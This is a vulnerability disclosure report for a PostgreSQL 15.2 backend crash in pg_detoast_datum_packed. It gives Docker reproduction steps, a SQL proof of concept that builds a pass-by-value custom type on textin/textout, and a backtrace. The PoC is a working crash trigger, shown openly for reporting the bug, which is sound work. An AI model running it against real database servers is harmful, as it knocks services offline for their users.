Thread: 1. PostgreSQL Server Subprocess Went down at function 'pg_detoast_datum_packed'

Description: PostgreSQL Server Subprocess Went down at function ‘pg_detoast_datum_packed’

PostgreSQL Server Version: PostgreSQL 15.2 on x86_64-pc-linux-gnu, compiled by Ubuntu clang version 12.0.1, 64-bit

Discoverer: Jingzhou Fu, Jie Liang and Zhiyong Wu in WingTecher Lab of Tsinghua University and Shuimuyulin ltd

Email address: fjz22@mails.tsinghua.edu.cn  ,   wuzy21@mails.tsinghua.edu.cn  ,  ljiee@mail.tsinghua.edu.cn

Way to Reproduce with Docker (write the poc content into file PoC.sql):

```bash

docker container rm some-postgres -f

docker run --name some-postgres -p 5432:5432 -e POSTGRES_PASSWORD=mysecretpassword -d postgres:15.2

sleep 5 # wait the server start …

docker exec -i some-postgres psql --user=postgres < PoC.sql

# Output:

#   server closed the connection unexpectedly

#          This probably means the server terminated abnormally

#          before or while processing the request.

#   connection to server was lost

```

PoC:

```sql

CREATE FUNCTION bt_name_heap(cstring)

   RETURNS committs_test

   AS 'textin'

   LANGUAGE internal STRICT IMMUTABLE;

CREATE FUNCTION random(committs_test)

   RETURNS cstring

   AS 'textout'

   LANGUAGE internal STRICT IMMUTABLE;

CREATE TYPE committs_test (

   internallength = 4,

   input = bt_name_heap,

   output = random,

   alignment = int4,

   default = 42,

   passedbyvalue

);

CREATE TABLE seqno (bt_txt_heap committs_test, bt_f8_heap committs_test);

INSERT INTO seqno DEFAULT VALUES;

CREATE TYPE committs_test (

   "Internallength" = 4,

   "Input" = bt_name_heap,

   "Output" = random,

   "Alignment" = int4,

   "Default" = 42,

   "Passedbyvalue"

);

CREATE TYPE bt_name_index AS (f1 committs_test, f2 committs_test);

CREATE FUNCTION get_default_test() RETURNS SETOF bt_name_index AS '

  SELECT * FROM seqno;

' LANGUAGE SQL;

SELECT * FROM get_default_test();

```

Backtrace:

```

#0 0x1cc7669 (pg_detoast_datum_packed+0x49)

#1 0x1bd15e9 (text_to_cstring+0x29)

#2 0x1bd5516 (textout+0x46)

#3 0x1cc01da (FunctionCall1Coll+0x3ca)

#4 0x1cc65ff (OutputFunctionCall+0x1f)

#5 0x59c7f6 (printtup+0x406)

#6 0xeb3bdf (ExecutePlan+0x31f)

#7 0xeb3780 (standard_ExecutorRun+0x550)

#8 0xeb3224 (ExecutorRun+0x64)

#9 0x16f6361 (PortalRunSelect+0x241)

#10 0x16f53bd (PortalRun+0x7ed)

#11 0x16e9694 (exec_simple_query+0xe04)

#12 0x16e7a63 (PostgresMain+0x1523)

#13 0x144c17b (BackendRun+0xbb)

#14 0x144ad85 (BackendStartup+0x525)

#15 0x14481e6 (ServerLoop+0x616)

#16 0x1443e0f (PostmasterMain+0x30cf)

#17 0x106ebf2 (main+0x5a2)

#18 0x7f110a910083 (__libc_start_main+0xf3)

#19 0x49fc0e (_start+0x2e)

```